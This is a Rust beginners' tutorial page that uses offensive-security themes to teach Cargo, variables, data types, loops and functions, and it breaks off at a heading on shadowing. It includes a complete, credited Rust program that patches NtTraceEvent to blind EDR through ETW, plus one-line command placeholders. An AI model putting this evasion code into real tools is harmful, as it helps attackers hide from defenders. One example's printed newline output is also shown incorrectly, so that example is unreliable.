> For the complete documentation index, see [llms.txt](https://top-gun-diary.gitbook.io/blog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://top-gun-diary.gitbook.io/blog/rust-series/rust-fundamentals.md).

# Rust Fundamentals

<figure><img src="/files/KDWaBFWQFQeLiCLa47B5" alt=""><figcaption></figcaption></figure>

### What is Cargo in Rust? Let's Understand It Properly 🦀

***Cargo** is Rust’s official build system and package manager. It helps developers create projects, manage dependencies, compile code, run applications, test programs, and publish Rust packages. Below are some key examples demonstrating how Cargo is used in Rust project development......*

```
cargo new my_project
cargo build
cargo run
cargo test
```

*To work effectively with Rust, it is important to understand the project file structure, including files like `Cargo.toml` and `Cargo.lock`, as well as how dependencies and external libraries `(crates)` are managed within a Rust application.*

### `Cargo.toml`

*`Cargo.toml` is the primary configuration file in every Rust project. It provides Cargo with essential project information such as the package name, version, dependencies, and other build-related settings.*

*Common sections inside `Cargo.toml`*

* *`[package]` → project name, version, authors, edition*
* *`[dependencies]` → external crates/libraries*
* *`[dev-dependencies]` → test-only packages*
* *`[features]` → optional functionality toggles*
* *`[workspace]` → multi-project management*

*Here is an **example :***

```
[package]
name = "my_tool"
version = "0.1.0"
edition = "2021"

[dependencies]
serde = "1.0"
tokio = { version = "1", features = ["full"] }
```

{% embed url="<https://dev.to/alexmercedcoder/introduction-to-cargo-and-cargotoml-2l86>" %}

### `Cargo.lock`

*`Cargo.lock` is an automatically generated file that stores the exact versions of every dependency used during compilation.*

```
[[package]]
name = "serde"
version = "1.0.203"
source = "registry+https://github.com/rust-lang/crates.io-index"
```

#### Why `Cargo.lock` matters :&#x20;

* ***Ensures Reproducible Builds*** *`Cargo.lock` guarantees that the exact same dependency versions are used across all developer machines, CI/CD pipelines, staging, and production environments. From a red team perspective, it helps reliably reproduce vulnerable setups for security testing and exploit validation. It prevents “works on my machine” problems that can hide or change security issues.*
* ***Prevents Dependency Version Drift** It stops packages from silently updating to newer versions that might introduce different behavior, security patches, or breaking changes. This keeps attack paths stable and predictable during adversary simulations and security assessments. It also allows analysts to trace vulnerabilities to a specific dependency version with consistent results.*
* ***Maintains Consistent Environments** Every engineer, tester, and pipeline builds the project with identical package versions. Red teams can accurately mirror production environments when reproducing bugs or testing supply-chain attacks. It eliminates environment differences that could affect exploit reliability or detection behavior.*
* ***Locks Transitive Dependencies Too*** *`Cargo.lock` records not only your direct dependencies but also all nested (indirect) dependencies pulled in by other crates. This is critical for supply-chain security because many vulnerabilities come from these hidden indirect dependencies. It enables defenders and red teams to fully audit the complete dependency tree for vulnerable crates, malicious injections, typosquatting, outdated cryptographic libraries, and unsafe Rust code.*

### Rust Libraries (Crates) 🦀

<figure><img src="/files/YdViJq9XPT8FgNIW11JC" alt=""><figcaption></figcaption></figure>

*In Rust, reusable pieces of code are called **crates**. Crates help developers avoid writing everything from scratch by allowing them to use existing libraries and tools in their projects.*

*There are two main types of crates:*

* ***Binary crates** : applications that can be executed or run*
* ***Library crates** : reusable code that other Rust programs can use*

{% embed url="<https://web.mit.edu/rust-lang_v1.25/arch/amd64_ubuntu1404/share/doc/rust/html/book/first-edition/crates-and-modules.htm>" %}

{% embed url="<https://crates.io/>" %}

#### How to Add a Rust Library

1. *Go to* [*crates.io*](https://crates.io)
2. *Search for the crate you need*
3. *Add it in your `Cargo.toml` file :*

```
[dependencies]
serde = "1.0"
tokio = { version = "1", features = ["full"] }
```

*Then run:*

```
cargo add serde    # Easy way to add
cargo build
```

### Why You Should Learn Cargo & Libraries Before Deep Syntax..

*Many beginners attempt to learn every Rust concept such as **structs, enums, traits, macros, ownership, and lifetimes** before using external libraries. However, this is often not the most practical approach.*

*Experienced developers do not build everything from scratch. Instead, they use reliable libraries and tools to develop applications more efficiently. By using Cargo and crates, you can write cleaner, faster, and more professional Rust code from the beginning while learning the language through real projects.*

## **Main Function & Useful Macros in Rust** 🦀

<figure><img src="/files/4XILewBxOd4xenpiVo2T" alt=""><figcaption></figcaption></figure>

#### **Main Function**

*In Rust, the `main` function is a special function that serves as the entry point of a Rust program. The `main` function is where the execution of a Rust program begins, and it must be present in every executable Rust program.*

*The `main` function has the following signature:*

```
fn main() {
  // code goes here
} 
```

*The `main` function takes no arguments and returns no value. The body of the `main` function consists of the code that is executed when the program is run.*

*For example, the following code shows a simple `main` function that prints a message to the console:*

```
fn main() {
  println!("Hello, world!");
} 
```

*When this code is compiled and run, it will print the message `"Hello, world!"` to the console.*

#### Macros

*A macro in Rust looks similar to a function, but it is written with an exclamation mark (`!`) after its name. For now, you can think of macros as special tools that execute code like functions, although they do not always behave exactly the same way....*

*`println!()` is a Rust macro used to display or print text to the screen. In this example, it prints the message `"Hello World!"`.*\
*At the end of the statement, a semicolon (`;`) is required to properly terminate the line of code.*

### Rust Output : The Print Macro&#x20;

*In Rust, `print!()` and `println!()` are macros used to display text in the terminal....so*&#x20;

### `println!()`

* *Prints text*
* *Automatically adds a newline (`\n`) at the end*

```rust
fn main() {
    println!("Hello World!");
    println!("I am learning Rust.");
}
```

## `print!()`

* *Prints text*
* *Does **NOT** move to the next line automatically*

```rust
fn main() {
    print!("Hello World! ");
    print!("I will print on the same line.");
}
```

## Summary Table

| Macro        | Adds Newline Automatically | Example Output                  |
| ------------ | -------------------------- | ------------------------------- |
| `println!()` | Yes                        | Each print starts on a new line |
| `print!()`   | No                         | Text continues on same line     |

## What is `\n`?

*`\n` is called an **escape sequence**.*

*It means:*

* *`\` = starts a special character sequence*
* *`n` = newline*

*So.....*

```
"Hello\nWorld"
```

*becomes this...!!*&#x20;

```
HelloWorld
```

## Common Escape Sequences&#x20;

| Escape Sequence | Meaning      |
| --------------- | ------------ |
| `\n`            | New line     |
| `\t`            | Tab          |
| `\\`            | Backslash    |
| `\"`            | Double quote |

## Demonstration

```rust
fn main() {
    println!("Using println!()");
    println!("Each statement gets a new line.");

    print!("Using ");
    print!("print!() ");
    print!("stays on one line.\n");

    print!("Manual newline here ->\n");
    print!("Now we are on another line.\n");

    println!("Hello\nRust\nWorld");
}
```

*So the relevant output would be something like this....!!*&#x20;

```
Using println!()
Each statement gets a new line.
Using print!() stays on one line.
Manual newline here ->
Now we are on another line.
Hello
Rust
World
```

## Rust Comments : Single-Line or Multi-Line

*Comments are notes written inside the source code to explain what the code does.*\
*They are ignored by the Rust compiler, meaning they do not affect program execution.*\
*Comments help developers understand, debug, and maintain code more easily.*

*In offensive security and red team tooling, comments are useful for documenting payload behavior....*

#### Single-line Comments (`//`)

*Single-line comments are used to write short notes in your code. Anything written after `//` on the same line is ignored by the Rust compiler. They are commonly used to explain what a specific line of code does....let me show you an example of what it looks like*&#x20;

```rust
// Print the target IP address
println!("Scanning 10.10.10.5");

// Launch phishing simulation
println!("Sending payload");

// Display current operation status
println!("Privilege escalation started");
```

The previous code examples were just funny demo examples to show how comments work hacking does not work like that 😄

So if you look carefully, anything written after `//` is treated as a comment Also, `//` is called a single-line comment, which means it only works for one line. If you want to write comments across multiple lines, then you should use multi-line comments with `/* */` instead.

#### Multi-line Comments `(/* */)`

*Multi-line comments are used for longer explanations or documentation.*\
*Everything written between `/*` and `*/` is ignored by the compiler.*\
*These comments are useful when describing attack workflows, payload logic, or important notes. here's an example that you can see....*

```rust
/* 
This payload checks:
1. Current user privileges
2. Antivirus status
3. Network connectivity
*/
println!("Starting reconnaissance phase");
```

### When to Use Which?

* *Use `//` for short and quick explanations.*
* *Use `/* */` for detailed notes or multi-line descriptions.*
* *Good comments make offensive security tools easier to understand and maintain....*

## Variables in Rust&#x20;

*Think of a variable like a labeled box. You put something in it, give it a name, and use it later let me show you an example*&#x20;

#### Creating a variable

```rust
let target = "192.168.1.1";
```

*You just stored an IP address in a box called `target`. That's it and you used `let` to define that variable lets use it perhaps..*

```rust
let target = "192.168.1.1";
let port = 4444;
println!("Connecting to {}:{}", target, port);
// Output: Connecting to 192.168.1.1:4444
```

*The `{}` is just a placeholder. Rust fills each placeholder in the same order that the values are provided.*

* *The first `{}` gets replaced with `target`*
* *The second `{}` gets replaced with `port`*

*A small quiz for you: identify the comments in the code. We already covered this topic, so try to figure it out yourself 😄*

{% hint style="info" %}
The comments are present at the end line of the code.
{% endhint %}

*Before moving on, remember that **order matters a lot in Rust**. For example, if the format string expects `target` first and `port` second, writing `port` first and `target` later can make the output confusing and harder to understand.*

```rust
println!("{}:{}", port, target);
// Output: 4444:192.168.1.1  wrong, your reverse shell connects to nothing
```

*Swap the order, break your tool. Simple mistake.*

#### By Default, Variables Are Immutable in Rust

*Once you set a variable, Rust won't let you change it thats called immutable variable.... let me show you a basic example of it*&#x20;

```rust
let lhost = "10.10.10.5";
lhost = "10.10.10.99"; // ERROR Rust blocks this
```

*This protects you from accidentally overwriting your own C2 address mid-execution.*

#### Want to change it? Use `mut`

*`mut` means mutable it unlocks the box so you can update it.*

```rust
let mut payload = "whoami";
println!("Running: {}", payload);

payload = "powershell -enc <base64>";
println!("Upgraded to: {}", payload);
```

*This is how you build dynamic payloads start simple*

## Rust Data Types : What kind of data are you storing?

*Every piece of data has a type. Rust figures it out automatically, but you need to understand what each one is for especially when building tools.*

### Whole Numbers `i32` Integer Types

```rust
let port: i32 = 4444;
let target_pid: i32 = 1337;
let retry_count: i32 = 3;

println!("Listening on port {}", port);
println!("Target process ID: {}", target_pid);
```

#### Signed vs Unsigned Integers

```
Signed   = positive AND negative numbers  (i8, i16, i32, i64, i128)
Unsigned = positive numbers ONLY          (u8, u16, u32, u64, u128)
```

*The number after `i` or `u` is how many bits of memory it uses. More bits = bigger range*

#### Signed Integers the `i` family

*Can go below zero. Use these when your value could be negative.*

```
i8 -128  to  127
i16 -32,768  to  32,767
i32 -2,147,483,648  to  2,147,483,647
i64 -9,223,372,036,854,775,808  to  9,223,372,036,854,775,807
i128 insanely large range in both directions
```

#### Unsigned Integers the `u` family

*Can never go below zero. Use these for memory addresses, byte counts, raw data.*

```
u8  0  to  255
u16 0  to  65,535
u32 0  to  4,294,967,295
u64 0  to  18,446,744,073,709,551,615
u128 astronomically large positive range
```

### Decimal Numbers `f64`&#x20;

*Has decimals if you have studied maths you know that my bad i suck at maths hahaha but here's an example*&#x20;

```rust
let sleep_time: f64 = 2.5;
let success_rate: f64 = 87.3;

println!("Sleeping {} seconds between requests", sleep_time);
println!("Payload delivery success rate: {}%", success_rate);
```

*in this demo code you slow down your scanner to 2.5 second intervals to avoid rate limiting and IDS detection but its not a functional code we will study them later on while creating projects so stay tuned this is just an example*&#x20;

### Single Character `char`&#x20;

*One character only. Use single quotes. Useful for flags, delimiters, or encoding markers.*

```rust
let stage_flag: char = 'E';  // E = Executing
let delimiter: char = '|';

println!("Current stage: {}", stage_flag);
println!("Splitting output on: {}", delimiter);
```

*in this code your implant sends back data separated by `|` and you parse it character by character.*

### Text / Strings `&str`

*Any text. Use double quotes. This is where your commands, IPs, usernames, and payloads live.....*

```rust
let lhost: &str = "10.10.10.5";
let command: &str = "whoami /all";
let user_agent: &str = "Mozilla/5.0 (Windows NT 10.0)";

println!("Callback to: {}", lhost);
println!("Running: {}", command);
println!("Masking as: {}", user_agent);
```

*in this demo code you spoof a browser user-agent string so your C2 traffic blends in with normal web traffic (again don't worry about the functionality just focus on the concepts right now\...*

### True / False `bool`&#x20;

*Only two values: `true` or `false`. Use this for flags and logic switches in your tool.*

```rust
let is_admin: bool = false;
let av_detected: bool = true;
let shell_active: bool = false;

println!("Got admin? {}", is_admin);
println!("AV present? {}", av_detected);
println!("Shell alive? {}", shell_active);
```

*in this demo code before dropping a payload, your tool checks `av_detected`. If `true`, it switches to a more evasive method.*

### **Data Types : EDR Evasion / ETW Patching in Rust**

*Using part of an ETW patch implementation to explain how data types flow through a real offensive technique... you actually dont need to understand the entire code if you can't thats alright no problem you just have to grasp the fundamentals for learning about data-types*&#x20;

**Credits :** <https://github.com/0xflux/>

{% embed url="<https://fluxsec.red/etw-patching-rust>" %}

```rust
use std::{arch::asm, ffi::c_void, mem};

use export_resolver::ExportList;
use windows::Win32::{Foundation::GetLastError, System::{Diagnostics::Debug::WriteProcessMemory, Threading::GetCurrentProcess}};

fn main() {
    // Get reference to NtTraceEvent
    let mut exports = ExportList::new();

    exports.add("ntdll.dll", "NtTraceEvent").expect("[-] Error finding address of NtTraceEvent");

    // retrieve the virtual address of NtTraceEvent
    let nt_trace_addr = exports.get_function_address("NtTraceEvent").expect("[-] Unable to retrieve address of NtTraceEvent.") as *const c_void;

    // get a handle to the current process
    let handle = unsafe {GetCurrentProcess()};

    // set up variables for WriteProcessMemory
    let ret_opcode: u8 = 0xC3; // ret opcode for x86
    let size = mem::size_of_val(&ret_opcode);
    let mut bytes_written: usize = 0;


    // patch the function 
    let res = unsafe {
        WriteProcessMemory(handle, 
            nt_trace_addr,
            &ret_opcode as *const u8 as *const c_void, 
            size, 
            Some(&mut bytes_written as *mut usize),
        )
    };

    // interrupt breakpoint - leave this in if you want to inspect the patch in a debugger
    // unsafe { asm!("int3") };

    match res {
        Ok(_) => {
            println!("[+] Success data written. Number of bytes: {:?} at address: {:p}", bytes_written, nt_trace_addr);
        },
        Err(_) => {
            let e = unsafe { GetLastError() };
            panic!("[-] Error with WriteProcessMemory: {:?}", e);
        },
    }    
}
```

#### **What ETW patching does**

*ETW is how Windows feeds event data to EDR products. Patching `NtTraceEvent` with a single `RET` byte blinds the EDR without touching the process from outside... let's take a look at the flow*&#x20;

```
u8 (0xC3)           ← your patch byte, the RET opcode
    ↓ take address
*const u8           ← raw pointer to that single byte
    ↓ cast for WinAPI
*const c_void  →  WriteProcessMemory  →  patches NtTraceEvent
                        ↑
               usize (size = 1 byte)
```

#### **`u8` the opcode**

```rust
let ret_opcode: u8 = 0xC3;
```

*`u8` just means "one byte". That byte is `0xC3` which is the RET instruction it tells the CPU to return immediately. You are storing one single byte that will be written into memory to break ETW.*

***

#### **`*const u8` taking the address**

```rust
&ret_opcode as *const u8
```

*You have your byte. Now you need to tell Rust where that byte lives in memory. The `&` says "give me the address of this". `*const u8` just means "a memory address that points to a byte". Think of it like a house address not the house itself, just where to find it.*

***

#### **`*const c_void` casting for the Windows API**

```rust
&ret_opcode as *const u8 as *const c_void
```

*You have the address. Now Windows needs to read it. Problem is Windows does not speak Rust it just wants a plain address with no type attached. `c_void` means "just an address, no type, I don't care what's there". You are handing Windows a plain address so it can go write your byte into `NtTraceEvent`.*

***

#### **`usize` size and confirmation**

```rust
let size = mem::size_of_val(&ret_opcode);  // 1
let mut bytes_written: usize = 0;
```

*Two jobs here. First line asks "how big is this thing in bytes" answer is 1. You pass that to Windows so it knows to write exactly one byte, not two, not four, just one. Second line is an empty box you hand to Windows and after the write it fills it in with how many bytes it actually wrote. You check that box to confirm the patch worked.*

## Constants in Rust

*A variable declared with `let` is like a sticky note you can peel it off and write something new (if you use `mut`). A constant is more like engraving once it's set, it's permanent, and it was decided before the program even started running.*

```rust
let mut connections = 0;      // can change at runtime
connections += 1;             // fine

const MAX_CONN: i32 = 10;     // fixed forever
MAX_CONN = 20;                // compiler error
```

*The other key difference is scope. A let variable lives only inside the block or function where it was created. A `const` can be declared at the top level and used anywhere in your program.*

### Constants vs Variables

| Feature        | Constant (`const`) | Variable (`let`)      |
| -------------- | ------------------ | --------------------- |
| Can change?    | No                 | Yes, if `mut` is used |
| Type required? | Yes                | No (optional)         |

## Operators in Rust&#x20;

And yeah… this doesn’t mean *Red Team Operators* in Rust hahahahaha 😭\
This concept is actually pretty interesting.

Operators are symbols that perform actions on values and variables. Think of them as the **verbs** of your code they do things like adding numbers, comparing values, or combining conditions.

*Rust has four main categories of operators:*

* ***Arithmetic Operators** = used for mathematical operations like addition and subtraction*
* ***Comparison Operators =** used to compare values*
* ***Logical Operators** = used to combine conditions*
* ***Assignment Operators** = used to assign or update values in variables*

#### Arithmetic Operators

Arithmetic operators are used to do basic math....which is something i hate the most hahahahahha

| Operator | Name                | Example  | Result |
| -------- | ------------------- | -------- | ------ |
| +        | Addition            | `5 + 3`  | 8      |
| -        | Subtraction         | `5 - 3`  | 2      |
| \*       | Multiplication      | `5 * 3`  | 15     |
| /        | Division            | `10 / 2` | 5      |
| %        | Remainder (modulus) | `10 % 3` | 1      |

let me show you an example of this operator....

```rust
fn main() {
  let add = 5 + 3;
  let sub = 10 - 4;
  let mul = 6 * 2;
  let div = 12 / 3;
  let rem = 10 % 3;

  println!("Add: {}", add);
  println!("Sub: {}", sub);
  println!("Mul: {}", mul);
  println!("Div: {}", div);
  println!("Rem: {}", rem);
}
```

#### Assignment Operators

Assignment operators are used to assign and update values...

| Operator | Example  | Same As       |
| -------- | -------- | ------------- |
| =        | `x = 5`  | Assign 5 to x |
| +=       | `x += 3` | `x = x + 3`   |
| -=       | `x -= 2` | `x = x - 2`   |
| \*=      | `x *= 4` | `x = x * 4`   |
| /=       | `x /= 2` | `x = x / 2`   |
| %=       | `x %= 2` | `x = x % 2`   |

## `If` .. `Else` Conditions in Rust

*When you're writing a program, you often need it to make decisions. Should it do one thing or another? That's where conditions come in.*

*Rust supports all the standard ways to compare two values you can check if one is less than, greater than, equal to, or not equal to another. These comparisons give you either a true or a false result, and you use that result to control what your program does next.*

#### **`if`**&#x20;

*The most basic decision-maker in Rust. You give it a condition, and if that condition is true, the block of code inside runs. If it's false, Rust skips it and moves on.*

```rust
if 7 > 5 {
    println!("7 is greater than 5.");
}
```

*You can also test variables the same way its pretty simple.....*

```rust
let x = 7;
let y = 5;

if x > y {
    println!("x is greater than y.");
}
```

#### `if`...`else`

*Sometimes you need a fallback. If the condition in your `if` turns out to be false, the `else` block runs instead. You're telling Rust: "do this, and if you can't, do that.*

```rust
let age = 16;

if age >= 18 {
    println!("You can vote.");
} else {
    println!("You are too young to vote.");
}
```

#### `else if`&#x20;

*When two options still aren't enough, you can chain more conditions using `else if`. Rust goes through each one from top to bottom and runs the first block whose condition is true*

```rust
let score = 85;

if score >= 90 {
    println!("Grade: A");
} else if score >= 80 {
    println!("Grade: B");
} else if score >= 70 {
    println!("Grade: C");
} else {
    println!("Grade: F");
}
```

#### Using `if` as an Expression

*In Rust, `if...else` can also return a value, which means you can assign the result directly to a variable. Whichever branch runs, its value becomes the value of the variable....*

```rust
let time = 20;

let greeting = if time < 18 {
    "Good day."
} else {
    "Good evening."
};

println!("{}", greeting);
```

*When you use `if` this way, you must always include an `else`. Without it, there's no guaranteed value and Rust won't allow that. This gives you the same effect as the ternary operator from languages like Java or C Rust just handles it this way instead....*

#### *Important Note...*

*When using `if` as an expression, both branches must return the same type. If one branch returns a string and the other returns a number, Rust throws an error at compile time...*

```rust
let number = 5;

let result = if number < 10 {
    "Too small"
} else {
    100  // error: mismatched types
};
```

This gives you

```rust
error[E0308]: `if` and `else` have incompatible types
```

*Both sides need to agree on what type they're returning, or the whole thing falls apart before your program even runs.*

## Match in Rust :&#x20;

*When you have many choices, stacking `if...else` over and over gets messy fast. `match` is the cleaner solution you give it a value, lay out all the possible cases, and it jumps straight to the one that matches.*

*Each case is written as the value, an arrow `=>`, and then what to do. The `_` at the bottom is the catch-all it handles anything that didn't match any of the cases above it, like an `else` at the end of a chain.*

```rust
fn main() {
    let threat_level = 3;

    match threat_level {
        1 => println!("Low: No immediate threat detected."),
        2 => println!("Guarded: Monitoring suspicious activity."),
        3 => println!("Elevated: Unauthorized access attempt flagged."),
        4 => println!("High: Active intrusion in progress."),
        5 => println!("Critical: Full system breach. Initiate lockdown."),
        _ => println!("Unknown threat level. Verify input."),
    }
}
```

*Since `threat_level` is `3`, Rust matches it to the third case and prints `Elevated: Unauthorized access attempt flagged.` Everything else gets ignored...see magic hahahaha*

### Multiple Matches&#x20;

*Sometimes different values should all lead to the same outcome. Instead of writing a separate case for each one, you can group them together using `|` which means `"or"` in a match arm.*

```rust
fn main() {
    let threat_level = 4;

    match threat_level {
        1 | 2 => println!("Low risk: Routine monitoring active."),
        3 | 4 => println!("Medium risk: Suspicious activity detected, investigating."),
        5 | 6 => println!("High risk: Active intrusion attempt, escalating response."),
        7 | 8 => println!("Critical: Full breach confirmed. Lockdown initiated."),
        _ => println!("Unknown threat level. Verify input."),
    }
}
```

*Since `threat_level` is `4`, Rust matches it to the second arm and prints `Medium risk: Suspicious activity detected, investigating.` Both `3` and `4` lead to the same outcome no need to write them as separate cases...*

*These examples are purely for demonstration purposes no actual red team operations happening here. I just find that using themed scenarios makes the concepts stick better than dry, generic examples*

*The goal here is simple: learn Rust in a way that's fun and easy to follow, then gradually work our way up to the harder stuff...anyways back to learning*

### `match` with a Return Value

*Just like `if`, `match` can also return a value, which means you can save the result directly into a variable. Whichever arm matches, its value becomes the value of the variable.*

```rust
fn main() {
    let threat_level = 3;

    let status = match threat_level {
        1 | 2 => "Low risk: System secure.",
        3 | 4 => "Medium risk: Suspicious activity detected.",
        5 | 6 => "High risk: Active intrusion in progress.",
        7 | 8 => "Critical: Full breach confirmed. Lockdown initiated.",
        _ => "Unknown threat level. Verify input.",
    };

    println!("{}", status);
}
```

*Since `threat_level` is `3`, Rust matches it to the second arm and stores `Medium risk: Suspicious activity detected.` into the `status` variable, which then gets printed.*

## Loops in Rust :

*At some point in your code, you'll need to repeat something. Maybe it's checking a condition over and over, going through a list of items, or just running the same block of code multiple times. That's what loops are for.*\
*Without loops, you'd have to write the same code out manually every single time you needed it to repeat. That's not only tedious, it's messy and easy to get wrong. A loop handles the repetition for you, keeps your code clean, and means there's only one place to fix something if something goes wrong.*\
*Rust gives you three types of loops to work with, each suited for a different situation:*

*`loop` : **runs forever** until you explicitly tell it to stop*\
\&#xNAN;*`while` : keeps running as long as a condition stays true*\
\&#xNAN;*`for` : runs through a collection or range of values one by one*

*Each one has its place. We'll break down all three one at a time.*

#### `loop`&#x20;

*`loop` is the simplest of Rust's three loop types. It does exactly what it sounds like it runs forever until you explicitly tell it to stop.*

```rust
loop {
    println!("Scanning for threats...");
}
```

*This loop never stops on its own. You'll need to press `Ctrl + C` to kill the program....*

*In a real scenario you always need a way out. That's where the `break` keyword comes in. Once Rust hits a `break`, it exits the loop immediately and moves on.*

```rust
fn main() {
    let mut attempts = 1;

    loop {
        println!("Attempting to breach firewall... Attempt {}", attempts);

        if attempts == 3 {
            println!("Firewall breached. Moving to next target.");
            break;
        }

        attempts += 1;
    }
}
```

*The loop keeps running and incrementing `attempts` on each pass. The moment `attempts` hits `3`, the condition is true, `break` fires, and the loop ends. Without that `break`, it would just keep going indefinitely.*

#### Returning a Value from a `loop`&#x20;

*Just like `match` and `if`, `loop` can also return a value. You do this by passing a value directly to `break`, and saving the whole loop into a variable.*

```rust
fn main() {
    let mut attempts = 1;

    let result = loop {
        println!("Attempting to breach firewall... Attempt {}", attempts);

        if attempts == 3 {
            println!("Firewall breached. Returning attempt count.");
            break attempts;
        }

        attempts += 1;
    };

    println!("Firewall was breached on attempt: {}", result);
}
```

*The loop keeps running and incrementing `attempts` on each pass. The moment it hits `3`, `break` fires and hands that value back, which gets stored in `result` and printed at the end... When you save the result of a loop into a variable, you must put a semicolon `;` at the end of the closing curly brace. Rust needs it because the whole `loop` block is being used as an expression.*

#### Rust While `Loops`&#x20;

*Unlike `loop`, which runs forever until you force it to stop, `while` checks a condition before each pass. As long as that condition stays true, it keeps going. The moment it turns false, the loop exits on its own.*

```rust
fn main() {
    let mut attempts = 1;

    while attempts <= 5 {
        println!("Attempting to breach firewall... Attempt {}", attempts);
        attempts += 1;
    }

    println!("All attempts exhausted. Terminating operation.");
}
```

*The loop checks whether `attempts` is still less than or equal to `5` before each pass. Once `attempts` hits `6`, the condition is false and the loop stops no `break` needed...*

#### `False` Condition

*The `while` loop checks its condition before each pass. So if the condition is already false from the start, the loop never runs at all.*

```rust
fn main() {
    let threat_level = 1;

    while threat_level >= 5 {
        println!("This will never print. Threat level too low.");
    }
}
```

*Since `threat_level` starts at `1` and the condition requires it to be `5` or above, Rust checks it once, sees it's false, and skips the loop entirely.*

#### Stopping a while Loop with `break`&#x20;

*Just like `loop`, you can exit a `while` loop early using `break` whenever a specific condition is met inside the loop.*

```rust
fn main() {
    let mut attempts = 1;

    while attempts <= 10 {
        if attempts == 6 {
            println!("Too many failed attempts. Aborting operation.");
            break;
        }

        println!("Breach attempt {} in progress...", attempts);
        attempts += 1;
    }
}
```

#### Skipping a Value with `continue`&#x20;

Sometimes you don't want to stop the loop entirely you just want to skip one particular pass and move on to the next. That's what `continue` does.

```rust
fn main() {
    let mut attempts = 1;

    while attempts <= 10 {
        if attempts == 6 {
            println!("Attempt 6 flagged as honeypot. Skipping.");
            attempts += 1;
            continue;
        }

        println!("Breach attempt {} in progress...", attempts);
        attempts += 1;
    }
}
```

*Every attempt gets processed except `6`. When `attempts` hits `6`, Rust prints the warning, increments the counter, and jumps straight back to the top of the loop skipping the normal print line entirely. All other attempts run as usual.*

#### The `for` Loop

*When you know exactly how many times you want to repeat something, `for` is the cleanest option. Instead of managing a counter yourself like you do with `while`, Rust handles it automatically.*

```rust
fn main() {
    for attempt in 1..6 {
        println!("Breach attempt {} in progress...", attempt);
    }
}
```

*This runs attempts `1` through `5` and stops. No manual counter, no incrementing, no condition to manage Rust takes care of all of it.*

*`1..6` means from `1` up to but not including `6`. So it runs `1, 2, 3, 4, 5`*&#x20;

#### Inclusive Range

*If you want to include the last number in the range, swap `..` for `..=` and Rust will run through to the end.*

```rust
fn main() {
    for attempt in 1..=6 {
        println!("Breach attempt {} in progress...", attempt);
    }
}
```

*This time all six attempts run `1` through `6` inclusive. One small change, but it matters when you need that last value included.*

#### Break and Continue

*Just like `loop` and `while`, you can use `break` to exit early and `continue` to skip a specific pass.*

```rust
fn main() {
    for attempt in 1..=10 {
        if attempt == 3 {
            println!("Attempt 3 flagged as honeypot. Skipping.");
            continue;
        }

        if attempt == 5 {
            println!("Intrusion detected on attempt 5. Aborting operation.");
            break;
        }

        println!("Breach attempt {} in progress...", attempt);
    }
}
```

*Attempts `1` and `2` run normally. Attempt `3` gets skipped entirely. Attempt `4` runs. The moment attempt `5` is reached, the operation aborts and the loop exits. Clean, controlled, and no wasted passes.*

## Functions

{% embed url="<https://youtu.be/wEXj6BbFvKU?si=Z477dc--EsyJE9VE>" %}

*As your code grows, you'll start noticing patterns the same logic showing up in multiple places, blocks of code getting longer and harder to follow. Functions are how you solve that.*

*A function is a block of code you write once and call whenever you need it. Instead of copying the same logic across your program, you wrap it in a function, give it a name, and just call that name wherever it's needed. One place to write it, one place to fix it if something goes wrong.*

*Functions also make your code easier to read. Instead of staring at a wall of logic trying to figure out what it does, a well named function tells you exactly what's happening at a glance.*

#### Creating a Function

*To create a function in Rust you use the `fn` keyword, followed by the name you want to give it, a set of parentheses `()`, and then curly braces `{}` where your code lives.*

```rust
fn my_function() {
    println!("Hello from my function!");
}
```

*The name is how you'll refer to it later when you want to call it. The parentheses are where parameters go when you need to pass data in for now they're empty. And everything between the curly braces is the code that runs when the function is called.*

#### Calling a Function

*Writing a function on its own doesn't run it. You have to call it. To call a function, write its name followed by parentheses `()`.*

```rust
fn target_system(target: &str) {
    println!("Targeting system: {}", target);
}

fn main() {
    target_system("firewall");
}
```

*`fn main()` is where every Rust program starts. When you run your code, Rust enters through `main` first. So to actually execute your function, you call it from inside `main` and Rust takes care of the rest.*

#### Functions with Parameters

*Sometimes you need to pass information into a function. You do that with parameters, which sit inside the parentheses `()`. Each parameter needs a name and a type*

```rust
fn target_system(target: &str) {
    println!("Targeting system: {}", target);
}

fn main() {
    target_system("firewall");
}
```

*Whatever you pass in when calling the function becomes available inside it under the parameter name. Here `"firewall"` gets passed in as `target` and printed in the message.*

#### Functions with Return Values

*A function can also send a value back after it runs. You declare what type it returns using `->` in the function header, and use the `return` keyword to hand the value back*.

```rust
fn calculate_attempts(base: i32, multiplier: i32) -> i32 {
    return base * multiplier;
}

fn main() {
    let attempts = calculate_attempts(3, 4);
    println!("Total breach attempts: {}", attempts);
}
```

#### Omitting the `return` Keyword

*Rust also lets you skip the return keyword entirely. Just write the value on the last line of the function without a semicolon and Rust will return it automatically.*

```rust
fn calculate_attempts(base: i32, multiplier: i32) -> i32 {
    base * multiplier
}

fn main() {
    let attempts = calculate_attempts(3, 4);
    println!("Total breach attempts: {}", attempts);
}
```

*Both versions do exactly the same thing. The second is more idiomatic Rust you'll see it used more often in real code. Which one you use is entirely up to you.*

## Scope

{% embed url="<https://youtu.be/OsuQq2X50rs?si=xTfbbAf8LAPDtWeV>" %}

*Now that you know how functions work, there's an important concept that goes hand in hand with them scope. Understanding scope will save you from a lot of confusing errors as your programs grow.*

*Scope simply means where a variable is allowed to be used. In Rust, a variable only exists inside the block where it was created. A block is anything wrapped in curly braces `{}` a function, an `if` statement, a loop, anything.*

*Once you step outside that block, the variable is gone. Rust doesn't let you reach back in and grab it.*

#### Variable Inside a Function

*A variable created inside a function stays inside that function. Nothing outside can see it or use* it.

```rust
fn initiate_breach() {
    let target = "mainframe";
    println!("Targeting: {}", target);
}

fn main() {
    initiate_breach();
    // target is not accessible here - it only lives inside initiate_breach()
}
```

*`target` was created inside `initiate_breach`, so it only lives there. The moment you try to use it outside, Rust throws an error. The variable never left the function it can't.......*

#### Variable Inside a Block

*The same rule applies to any block, not just functions. Variables created inside an `if` statement or a loop are locked to that block too.*

```rust
fn main() {
    let threat_level = 8;

    if threat_level > 5 {
        let response = "Lockdown initiated.";
        println!("Response: {}", response);
    }

    println!("Response: {}", response); // Error: response is out of scope here
}
```

*Same situation as before that error is intentional. The example was written to show you what happens when you try to reach a variable outside the block it was created in. The error is the point.*

*`response` gets created inside the `if` block, used inside the `if` block, and that's where it stays. The moment those curly braces close, it's gone. Rust won't let you use it anywhere else and the error you just saw is exactly what it looks like when you try*

#### Shadowing

